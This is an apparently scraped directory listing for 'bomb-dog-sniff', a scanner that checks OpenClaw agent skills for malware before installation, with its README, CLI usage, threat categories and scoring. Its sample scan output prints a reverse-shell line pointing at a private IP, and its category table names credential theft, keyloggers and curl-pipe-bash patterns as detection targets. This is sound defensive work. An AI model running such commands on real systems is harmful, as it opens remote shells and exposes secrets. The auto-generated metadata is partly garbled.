Rank
70
AI Agents & MCPs & AI Workflow Automation โข (~400 MCP servers for AI agents) โข AI Automation / AI Agent with MCPs โข AI Workflows & AI Agents โข MCPs for AI Agents
Traction
No public download signal
Freshness
Updated 2d ago
Crawler Summary
Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine โ Scan โ Install only the safe ones. --- name: bomb-dog-sniff version: 1.2.0 description: | Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine โ Scan โ Install only the safe ones. author: OpenClaw Security Team homepage: https://github.com/openclaw/skills/bomb-dog-sniff --- bomb-dog-sniff v1.2.0 ๐ **Like a bomb-sn Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 2/25/2026.
Freshness
Last checked 2/25/2026
Best For
bomb-dog-sniff is best for multiple, scan, summary workflows where OpenClaw compatibility matters.
Not Ideal For
Contract metadata is missing or unavailable for deterministic execution.
Evidence Sources Checked
editorial-content, GITHUB OPENCLEW, runtime-metrics, public facts pack
Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine โ Scan โ Install only the safe ones. --- name: bomb-dog-sniff version: 1.2.0 description: | Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine โ Scan โ Install only the safe ones. author: OpenClaw Security Team homepage: https://github.com/openclaw/skills/bomb-dog-sniff --- bomb-dog-sniff v1.2.0 ๐ **Like a bomb-sn
Public facts
5
Change events
1
Artifacts
0
Freshness
Feb 25, 2026
Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 2/25/2026.
Trust score
Unknown
Compatibility
OpenClaw
Freshness
Feb 25, 2026
Vendor
Openclaw
Artifacts
0
Benchmarks
0
Last release
Unpublished
Key links, install path, and a quick operational read before the deeper crawl record.
Summary
Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 2/25/2026.
Setup snapshot
git clone https://github.com/LvcidPsyche/skill-bomb-dog-sniff.gitSetup complexity is LOW. This package is likely designed for quick installation with minimal external side-effects.
Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data.
Everything public we have scraped or crawled about this agent, grouped by evidence type with provenance.
Vendor
Openclaw
Protocol compatibility
OpenClaw
Adoption signal
1 GitHub stars
Handshake status
UNKNOWN
Crawlable docs
6 indexed pages on the official domain
Merged public release, docs, artifact, benchmark, pricing, and trust refresh events.
Extracted files, examples, snippets, parameters, dependencies, permissions, and artifact metadata.
Extracted files
0
Examples
6
Snippets
0
Languages
typescript
Parameters
bash
# Sniff out threats before installing openclaw skill bomb-dog-sniff scan ./downloaded-skill # Safe install from clawhub (auto-downloads, sniffs, installs if clean) openclaw skill bomb-dog-sniff safe-install cool-skill # Audit an already-installed skill openclaw skill bomb-dog-sniff audit bird # Batch scan multiple skills openclaw skill bomb-dog-sniff batch skills-to-audit.txt
bash
openclaw skill bomb-dog-sniff scan <path> [options] Options: -j, --json Output JSON only -v, --verbose Show detailed findings -t, --threshold N Set risk threshold (default: 40) -h, --help Show help
bash
openclaw skill bomb-dog-sniff scan ./untrusted-skill openclaw skill bomb-dog-sniff scan -j ./untrusted-skill > report.json
text
๐ Bomb-Dog-Sniff Security Scanner v1.2.0
Target: /home/user/skills/untrusted-skill
๐ด CRITICAL (2)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
crypto_harvester: scripts/wallet.js:23
Crypto wallet private key harvesting detected
Code: const privateKey = "a1b2c3..."
Confidence: high
reverse_shell: scripts/backdoor.sh:5
Reverse shell or remote code execution detected
Code: bash -i >& /dev/tcp/192.168.1.100/4444
Confidence: high
๐ HIGH (1)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
pipe_bash: install.sh:12
Dangerous curl | bash pattern detected
Confidence: high
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
SCAN SUMMARY
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ๏ธ Risk Score: 75/100
Risk Level: MALICIOUS
Duration: 125ms
Files Scanned: 12/15
Files Skipped: 3 (binary/empty/large)
Findings: 3
Severity Breakdown:
๐ด CRITICAL: 2
๐ HIGH: 1
๐ Recommendation:
MALICIOUS - Do not install. Found 3 critical security issues.
Scan ID: bds-20260208-a1b2c3d4bash
openclaw skill bomb-dog-sniff safe-install <source> [options] Source: - ClawHub skill name: bird - GitHub URL: https://github.com/user/skill - Local path: ./local-skill Options: --threshold N Set risk threshold (default: 39) --dry-run Scan only, don't install --verbose Show all findings
bash
# Install with default threshold (39) openclaw skill bomb-dog-sniff safe-install bird # Stricter threshold openclaw skill bomb-dog-sniff safe-install cool-skill --threshold 20 # Scan only (dry run) openclaw skill bomb-dog-sniff safe-install unknown-skill --dry-run # GitHub source openclaw skill bomb-dog-sniff safe-install https://github.com/user/cool-skill
Full documentation captured from public sources, including the complete README when available.
Docs source
GITHUB OPENCLEW
Editorial quality
ready
Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine โ Scan โ Install only the safe ones. --- name: bomb-dog-sniff version: 1.2.0 description: | Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine โ Scan โ Install only the safe ones. author: OpenClaw Security Team homepage: https://github.com/openclaw/skills/bomb-dog-sniff --- bomb-dog-sniff v1.2.0 ๐ **Like a bomb-sn
Like a bomb-sniffing dog for OpenClaw skills
Sniff out malicious skills before they explode in your system. Quarantine โ Scan โ Install only the safe ones.
# Sniff out threats before installing
openclaw skill bomb-dog-sniff scan ./downloaded-skill
# Safe install from clawhub (auto-downloads, sniffs, installs if clean)
openclaw skill bomb-dog-sniff safe-install cool-skill
# Audit an already-installed skill
openclaw skill bomb-dog-sniff audit bird
# Batch scan multiple skills
openclaw skill bomb-dog-sniff batch skills-to-audit.txt
Scan a skill directory for malicious patterns.
openclaw skill bomb-dog-sniff scan <path> [options]
Options:
-j, --json Output JSON only
-v, --verbose Show detailed findings
-t, --threshold N Set risk threshold (default: 40)
-h, --help Show help
Example:
openclaw skill bomb-dog-sniff scan ./untrusted-skill
openclaw skill bomb-dog-sniff scan -j ./untrusted-skill > report.json
Output:
๐ Bomb-Dog-Sniff Security Scanner v1.2.0
Target: /home/user/skills/untrusted-skill
๐ด CRITICAL (2)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
crypto_harvester: scripts/wallet.js:23
Crypto wallet private key harvesting detected
Code: const privateKey = "a1b2c3..."
Confidence: high
reverse_shell: scripts/backdoor.sh:5
Reverse shell or remote code execution detected
Code: bash -i >& /dev/tcp/192.168.1.100/4444
Confidence: high
๐ HIGH (1)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
pipe_bash: install.sh:12
Dangerous curl | bash pattern detected
Confidence: high
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
SCAN SUMMARY
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ๏ธ Risk Score: 75/100
Risk Level: MALICIOUS
Duration: 125ms
Files Scanned: 12/15
Files Skipped: 3 (binary/empty/large)
Findings: 3
Severity Breakdown:
๐ด CRITICAL: 2
๐ HIGH: 1
๐ Recommendation:
MALICIOUS - Do not install. Found 3 critical security issues.
Scan ID: bds-20260208-a1b2c3d4
Download from clawhub/GitHub, scan, and install only if safe.
openclaw skill bomb-dog-sniff safe-install <source> [options]
Source:
- ClawHub skill name: bird
- GitHub URL: https://github.com/user/skill
- Local path: ./local-skill
Options:
--threshold N Set risk threshold (default: 39)
--dry-run Scan only, don't install
--verbose Show all findings
Example:
# Install with default threshold (39)
openclaw skill bomb-dog-sniff safe-install bird
# Stricter threshold
openclaw skill bomb-dog-sniff safe-install cool-skill --threshold 20
# Scan only (dry run)
openclaw skill bomb-dog-sniff safe-install unknown-skill --dry-run
# GitHub source
openclaw skill bomb-dog-sniff safe-install https://github.com/user/cool-skill
Audit an already-installed skill.
openclaw skill bomb-dog-sniff audit <skill-name> [options]
Example:
openclaw skill bomb-dog-sniff audit notion
Scan multiple skills from a list file.
openclaw skill bomb-dog-sniff batch <list-file>
Example list file (skills.txt):
# My installed skills to audit
bird
notion
gog
slack
./custom-skill
# Commented lines are ignored
# old-skill
Run:
openclaw skill bomb-dog-sniff batch skills.txt
bomb-dog-sniff scans for these threat categories:
| Category | Severity | Examples Detected |
|----------|----------|-------------------|
| crypto_harvester | CRITICAL | Private key extraction, wallet exports, mnemonic theft |
| credential_theft | CRITICAL | Environment variable exfiltration, config file theft, SSH key theft |
| reverse_shell | CRITICAL | Netcat shells, /dev/tcp/ redirects, socket-based shells, eval of remote code |
| keylogger | CRITICAL | Keyboard capture with exfiltration, clipboard theft, password field monitoring |
| encoded_payload | HIGH | Base64 execution chains, hex escapes with eval context, obfuscated code |
| suspicious_api | HIGH | Pastebin/ngrok/webhook destinations, dynamic URL construction with secrets |
| pipe_bash | HIGH | curl \| bash, wget \| sh patterns |
| deposit_scam | HIGH | "Send ETH to 0x...", payment prompts in unexpected contexts |
| supply_chain | HIGH | Typosquatting, dynamic requires, suspicious postinstall scripts |
| prototype_pollution | HIGH | Dangerous object merging, __proto__ manipulation |
| malicious_script | CRITICAL | Pre/postinstall doing network/exec operations, modifying other packages |
| network_exfil | MEDIUM | File reading followed by network transmission |
| file_tamper | CRITICAL | .bashrc modification, crontab editing, SSH authorized_keys manipulation |
0-19 SAFE โ
Install freely
20-39 LOW โ ๏ธ Review recommended
40-69 SUSPICIOUS ๐ซ Blocked by default
70-100 MALICIOUS โ ๏ธ Never install
Each finding adds to the score:
Confidence multipliers:
Score caps at 100.
1. QUARANTINE
โโโ Skill downloaded to /tmp/bds-q-<random>/
โโโ Randomized, non-predictable directory name
โโโ Restricted permissions (0o700)
2. SCAN
โโโ Check all files against detection patterns
โโโ Skip binary files, empty files, files >10MB
โโโ Calculate entropy for encoded payload detection
โโโ Apply confidence multipliers
โโโ Generate findings report
3. DECISION
โโโ Risk > threshold? โ BLOCK & DELETE
โโโ Risk โค threshold? โ PROCEED
4. INSTALL (if passed)
โโโ Move from quarantine to skills directory
โโโ Backup existing installation (max 5 backups)
5. CLEANUP
โโโ Securely remove quarantine directory
# Set custom skills directory
export OPENCLAW_SKILLS_DIR=/path/to/skills
# Set default risk threshold
export BOMB_DOG_THRESHOLD=25
Add to your skill's package.json:
{
"bomb-dog-sniff": {
"riskThreshold": 25,
"excludedCategories": ["network_exfil"]
}
}
Add to your CI pipeline:
# .github/workflows/skill-security.yml
name: Skill Security Scan
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Scan skills
run: |
for skill in skills/*/; do
echo "Scanning $skill"
node skills/bomb-dog-sniff/scan.js "$skill" || exit 1
done
Exit codes:
0 - Safe (score below threshold)1 - Error/invalid arguments2 - Risky (score โฅ threshold)const { scanSkill } = require('./scan');
const { safeDownload } = require('./safe-download');
// Scan a skill
const report = scanSkill('./path/to/skill', { verbose: true });
console.log(`Risk score: ${report.riskScore}`);
console.log(`Findings: ${report.findings.length}`);
// Safe download and install
const result = await safeDownload('cool-skill', {
autoInstall: true,
riskThreshold: 30,
});
if (!result.success) {
console.error('Installation blocked:', result.reason);
}
To prevent DoS and ensure scanner security:
| Limit | Value | Purpose | |-------|-------|---------| | Max file size | 10MB | Prevent memory exhaustion | | Max line length | 10KB | Prevent ReDoS attacks | | Max files per scan | 10,000 | Prevent resource exhaustion | | Max findings per file | 100 | Prevent output flooding | | Max total findings | 500 | Prevent result flooding | | Max directory depth | 20 | Prevent infinite recursion | | Download timeout | 2 minutes | Prevent hanging downloads | | Max download size | 50MB | Prevent disk exhaustion |
If legitimate code triggers a warning:
*.test.js or __tests__/ have reduced severityTo report false positives, please include:
--dry-run first for untrusted sources--threshold 20) for critical systemsSKILL.md - This documentationscan.js - Core scanner enginepatterns.js - Detection pattern definitionssafe-download.js - Safe download & install logicscripts/sniff.sh - CLI wrapperpackage.json - Package configurationQUICKSTART.md - Quick reference guideโ ๏ธ Limitations:
โ Recommendations:
safe-install command with quarantine workflowaudit command for installed skillsbatch command for multiple skill scanningMIT - See LICENSE file
Stay safe. Scan everything. Trust verified skills only. ๐ฆ๐
Machine endpoints, protocol fit, contract coverage, invocation examples, and guardrails for agent-to-agent use.
Contract coverage
Status
missing
Auth
None
Streaming
No
Data region
Unspecified
Protocol support
Requires: none
Forbidden: none
Guardrails
Operational confidence: low
curl -s "https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/snapshot"
curl -s "https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/contract"
curl -s "https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/trust"
Trust and runtime signals, benchmark suites, failure patterns, and practical risk constraints.
Trust signals
Handshake
UNKNOWN
Confidence
unknown
Attempts 30d
unknown
Fallback rate
unknown
Runtime metrics
Observed P50
unknown
Observed P95
unknown
Rate limit
unknown
Estimated cost
unknown
Do not use if
Every public screenshot, visual asset, demo link, and owner-provided destination tied to this agent.
Neighboring agents from the same protocol and source ecosystem for comparison and shortlist building.
Rank
70
AI Agents & MCPs & AI Workflow Automation โข (~400 MCP servers for AI agents) โข AI Automation / AI Agent with MCPs โข AI Workflows & AI Agents โข MCPs for AI Agents
Traction
No public download signal
Freshness
Updated 2d ago
Rank
70
AI productivity studio with smart chat, autonomous agents, and 300+ assistants. Unified access to frontier LLMs
Traction
No public download signal
Freshness
Updated 6d ago
Rank
70
Free, local, open-source 24/7 Cowork app and OpenClaw for Gemini CLI, Claude Code, Codex, OpenCode, Qwen Code, Goose CLI, Auggie, and more | ๐ Star if you like it!
Traction
No public download signal
Freshness
Updated 6d ago
Rank
70
The Frontend for Agents & Generative UI. React + Angular
Traction
No public download signal
Freshness
Updated 23d ago
Contract JSON
{
"contractStatus": "missing",
"authModes": [],
"requires": [],
"forbidden": [],
"supportsMcp": false,
"supportsA2a": false,
"supportsStreaming": false,
"inputSchemaRef": null,
"outputSchemaRef": null,
"dataRegion": null,
"contractUpdatedAt": null,
"sourceUpdatedAt": null,
"freshnessSeconds": null
}Invocation Guide
{
"preferredApi": {
"snapshotUrl": "https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/snapshot",
"contractUrl": "https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/contract",
"trustUrl": "https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/trust"
},
"curlExamples": [
"curl -s \"https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/snapshot\"",
"curl -s \"https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/contract\"",
"curl -s \"https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/trust\""
],
"jsonRequestTemplate": {
"query": "summarize this repo",
"constraints": {
"maxLatencyMs": 2000,
"protocolPreference": [
"OPENCLEW"
]
}
},
"jsonResponseTemplate": {
"ok": true,
"result": {
"summary": "...",
"confidence": 0.9
},
"meta": {
"source": "GITHUB_OPENCLEW",
"generatedAt": "2026-04-17T05:19:07.132Z"
}
},
"retryPolicy": {
"maxAttempts": 3,
"backoffMs": [
500,
1500,
3500
],
"retryableConditions": [
"HTTP_429",
"HTTP_503",
"NETWORK_TIMEOUT"
]
}
}Trust JSON
{
"status": "unavailable",
"handshakeStatus": "UNKNOWN",
"verificationFreshnessHours": null,
"reputationScore": null,
"p95LatencyMs": null,
"successRate30d": null,
"fallbackRate": null,
"attempts30d": null,
"trustUpdatedAt": null,
"trustConfidence": "unknown",
"sourceUpdatedAt": null,
"freshnessSeconds": null
}Capability Matrix
{
"rows": [
{
"key": "OPENCLEW",
"type": "protocol",
"support": "unknown",
"confidenceSource": "profile",
"notes": "Listed on profile"
},
{
"key": "multiple",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "scan",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "summary",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "id",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "only",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "on",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "skills",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "a",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "before",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "installed",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "everything",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
}
],
"flattenedTokens": "protocol:OPENCLEW|unknown|profile capability:multiple|supported|profile capability:scan|supported|profile capability:summary|supported|profile capability:id|supported|profile capability:only|supported|profile capability:on|supported|profile capability:skills|supported|profile capability:a|supported|profile capability:before|supported|profile capability:installed|supported|profile capability:everything|supported|profile"
}Facts JSON
[
{
"factKey": "docs_crawl",
"category": "integration",
"label": "Crawlable docs",
"value": "6 indexed pages on the official domain",
"href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceType": "search_document",
"confidence": "medium",
"observedAt": "2026-04-15T05:03:46.393Z",
"isPublic": true
},
{
"factKey": "vendor",
"category": "vendor",
"label": "Vendor",
"value": "Openclaw",
"href": "https://github.com/openclaw/skills/bomb-dog-sniff",
"sourceUrl": "https://github.com/openclaw/skills/bomb-dog-sniff",
"sourceType": "profile",
"confidence": "medium",
"observedAt": "2026-02-25T02:25:17.321Z",
"isPublic": true
},
{
"factKey": "protocols",
"category": "compatibility",
"label": "Protocol compatibility",
"value": "OpenClaw",
"href": "https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/contract",
"sourceUrl": "https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/contract",
"sourceType": "contract",
"confidence": "medium",
"observedAt": "2026-02-25T02:25:17.321Z",
"isPublic": true
},
{
"factKey": "traction",
"category": "adoption",
"label": "Adoption signal",
"value": "1 GitHub stars",
"href": "https://github.com/LvcidPsyche/skill-bomb-dog-sniff",
"sourceUrl": "https://github.com/LvcidPsyche/skill-bomb-dog-sniff",
"sourceType": "profile",
"confidence": "medium",
"observedAt": "2026-02-25T02:25:17.321Z",
"isPublic": true
},
{
"factKey": "handshake_status",
"category": "security",
"label": "Handshake status",
"value": "UNKNOWN",
"href": "https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/trust",
"sourceUrl": "https://xpersona.co/api/v1/agents/lvcidpsyche-skill-bomb-dog-sniff/trust",
"sourceType": "trust",
"confidence": "medium",
"observedAt": null,
"isPublic": true
}
]Change Events JSON
[
{
"eventType": "docs_update",
"title": "Docs refreshed: Sign in to GitHub ยท GitHub",
"description": "Fresh crawlable documentation was indexed for the official domain.",
"href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceType": "search_document",
"confidence": "medium",
"observedAt": "2026-04-15T05:03:46.393Z",
"isPublic": true
}
]Sponsored
Ads related to bomb-dog-sniff and adjacent AI workflows.